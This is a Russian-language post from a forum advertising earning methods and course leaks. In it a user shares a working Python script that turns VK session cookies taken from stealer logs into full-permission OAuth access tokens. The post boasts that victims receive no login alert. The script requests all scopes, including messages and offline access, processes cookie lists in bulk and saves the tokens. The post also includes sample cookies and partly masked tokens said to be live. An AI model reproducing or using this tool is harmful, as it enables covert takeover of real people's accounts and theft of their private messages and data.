• VLMI - форум по обмену информацией. На форуме можете найти способы заработка, разнообразную информацию по интернет-безопасности, обмен знаниями, курсы/сливы.

    После регистрации будут доступны основные разделы.

    Контент форума создают пользователи, администрация за действия пользователей не несёт ответственности, отказ от ответственности. Так же перед использованием форума необходимо ознакомиться с правилами ресурса. Продолжая использовать ресурс вы соглашаетесь с правилами.
  • Подпишись на наш канал в Telegram для информации о актуальных зеркалах форума: https://t.me/vlmiclub

Python Получение полноправного токена ВК по сессии

gh0st4ge

Местный
Сообщения
40
Реакции
86
0 руб.
И снова я. Привет, друг.

Мне показалось мало просто дать тебе инструмент по получению cookies из логов, поэтому я тебе дарю еще и скрипт для проверки валидности этих сессионых данных, да и еще по беспалевному получению полного доступа к контакту жертвы. Да-да, речь о полноправном токене. А из-за того, что мы будем использовать данные сессии жертвы, ей даже не придет оповещение о том, что кто-то зашел в ее контакт. Заинтриговал? Тогда приятного погружения в чтение данной статьи.

Расскажу в двух словах принцип работы нашего будущего модуля:
Из прошлой статьи мы научились собирать все куки, необходимые для дублирования сессии на любом компьютере. Их мы поочередно будем подставлять в новую сессию, далее "переходить на сайт" приложения вк, и в ответ(если сессионные данные актуальны), получим url вида:
https://oauth.vk.com/blank.html#access_token=1293b4acb2dee9191cf03f31ca828df3cac9a0fb7f183c73303ddb712f095b913fb40d320563e9799dd1a&expires_in=86400&user_id=218555864.
Не такой, но похожий. Разумеется сами мы не будем путешествовать по просторам сети, вместо нас этим будет заниматься Python. Суть, думаю, ясна. Теперь к кодингу!

Для работы скрипта нужен модуль requests. Установить можешь командой pip install. Делай правильно, устанавливай в виртуальное окружение!
python -m venv env
call env\Scripts\activate - Windows
source env\bin\activate - Linux
pip install requests

Не буду разделять код на части и каждую пояснять, также как в прошлой статье - код с комментариями - там все должно быть понятно.
Код:
import argparse
import json
import re
from requests import Session

# класс по получению токенов из сессии
class GetTokenFromCookies:
    def __init__(self, cookies, app, permissions):
        # AppID приложения ВК, через которое будем авторизироваться
        self.app = app
        # Разрешения для приложения
        self.permissions = permissions
        self.error = None
        # переменная хранит либо ВАЛИДНЫЙ токен либо None
        # получаем токен из сгенерированных ссылки и кукисов
        self.token = self.get_token(*self.get_url_cookies(cookies))

    # Получаем ссылку и куки
    def get_url_cookies(self, cookies):
        # cобираем url с нашим приложением и правами доступа
        url = f'https://oauth.vk.com/authorize?client_id={self.app}&scope={self.permissions}&redirect_uri=' \
              f'http://api.vk.com/blank.html.html&display=page&response_type=token'
        # обновляем куки
        cookies = self.get_cookies(cookies)
        return url, cookies

    # функция приведения списка куки к нужной структуре
    @staticmethod
    def get_cookies(raw_cookies):
        cookies = []
        # для каждого "сырого" куки
        for cookie in raw_cookies:
            # формируем запись с доменом, именем, путем, и значением
            new_record = {"domain": "vk.com", "name": cookie, "path": "/", "value": raw_cookies[cookie]}
            # добавляем в новый список
            cookies.append(new_record)
        return cookies

    # Создание сессии для получения токена
    def get_token(self, url, cookies):
        # Задаем сессию
        s = Session()
        # каждого куки из списка
        for cookie in cookies:
            # задаем в текущей сессии
            s.cookies.set(**cookie)
        # делаем запрос
        response = s.get(url)
        # если успешно
        if response.status_code == 200:
            # то достаем токен из полученной ссылки
            return self.unpack_token_from_url(response.url)
        else:
            # иначе запоминаем ошибку
            self.error = ValueError(f"Bad Response: {response.content}\nCurrent url: {response.url}")
            # и присваиваем токену None
            return None

    # функция по извлечению токена из ссылки
    @staticmethod
    def unpack_token_from_url(url):
        # регулярное выражение с группой (токен должен быть между = и &)
        re_template = r'access_token=(.*)&expires_in'
        # ищем регулярное выражение
        token = re.search(re_template, url)
        # если нашли
        if token:
            # то возвращаем группу (то что в скобках в re_template)
            return token.group(1)
        else:
            # иначе не нашли
            return None

# функция для многократного поиска токенов
def get_many_tokens(cookies_list):
    # список для результатов
    tokens = []
    # для каждого списка куки
    for cookies in cookies_list:
        # создаем экземпляр нашего класса с AppID=2890984 и всеми правами доступа
        token = GetTokenFromCookies(cookies, 2890984, "notify,photos,friends,audio,video,notes,pages,docs,status,"
                                                      "questions,offers,wall,groups,messages,notifications,stats,ads,"
                                                      "offline")
        # если токен нашли
        if token.token:
            # то добавляем в общий список
            tokens.append(token.token)
    return tokens

def main(cookies_filename):
    # открываем список с куки
    with open(cookies_filename, 'r') as cookies_file:
        cookies_list = json.load(cookies_file)
    # ищем по нему токены
    tokens = get_many_tokens(cookies_list)
    # сохраняем в файл
    with open('token_from_cookies.json', 'w') as token_file:
        json.dump(tokens, token_file)

# функция по получению каталога из командной строки при запуске скрипта
def arg_parse_parameters():
    parser = argparse.ArgumentParser(description='log_parser')
    # для удобства дефолтный список - результат предыдущего скрипта
    parser.add_argument('-p', '--path', action='store', type=str, default='vk-cookies-3-full.json')
    args = parser.parse_args()
    return args.path

if __name__ == '__main__':
    # получаем путь из терминала
    path = arg_parse_parameters()
    # если путь задан (по-умолчанию задан vk-cookies-3-full.json)
    if path:
        # nо выполняем скрипт
        main(path)

Пример запуска:
call env\Scripts\activate - Windows
source env\bin\activate - Linux
python get_tokens.py -p='cookies.json'
или
python get_tokens.py для запуска vk-cookies-3-full.json

Еще раз поясню, НА ВСЯКИЙ СЛУЧАЙ, что кормить скрипту мы будем список из таких структур:
Можно больше данных, нельзя меньше (при меньшем количестве данных через приложение не авторизируемся)
JSON:
{
  "remixsid": "c18832c5938528f7055a7706314d1ce239140ef6cad199e40034b",
  "remixusid": "MjI2MjdlYzdiOTAwZTAxMDVjYjM5ZTIy",
  "remixstid": "0_a4ebb2ebb6b918adc5",
  "l": "483046782",
  "p": "a5dca548084c420bb92fcdd75a80b1bf83f0130c8721e1e41dae4"
}
Результат:
Скрыл настоящие токены под * (один первый символ), так как данные актуальны. Если кому-то хочется можете угадать, какие там символы, но зачем зазря беспокоить людей.
Каждый раз токены будут обновляться, так как мы выполняем новую авторизацию в приложении. При этом предыдущие токены становятся невалидными (вроде как)
JSON:
[
  "*42a1b854c101136e42de9cd9afdf18785d499e73e4113155fb30a02cc46d85a9a32c720ef9a7201ec6cc",
  "*c60c17c0682e65340a53c54d2fe698f1d369917d646615548967337ed93966681a829e28b6c782bbb2e3",
  "*6552610c519677bdd4e1dd09fbe8160be933419542b7512bab82b997e6314515df3754a303040531f219"
]

Прикрепляю исходники к статье.
[automerge]1546644672[/automerge]
Кстати вопрос на засыпку:
Почему происходит правильная авторизация при такой записи:
Python:
# формируем запись с доменом, именем, путем, и значением
new_record = {"domain": "vk.com", "name": cookie, "path": "/", "value": raw_cookies[cookie]}
При просмотре cookies в браузере, я заметил, что l и p используются в домене login.vk.com а не vk.com. Но раз работает оставил для всех значений просто vk.com
 

Вложения

  • get_cookies_from_log.zip
    5,3 KB · Просмотры: 178
Последнее редактирование:
Сверху Снизу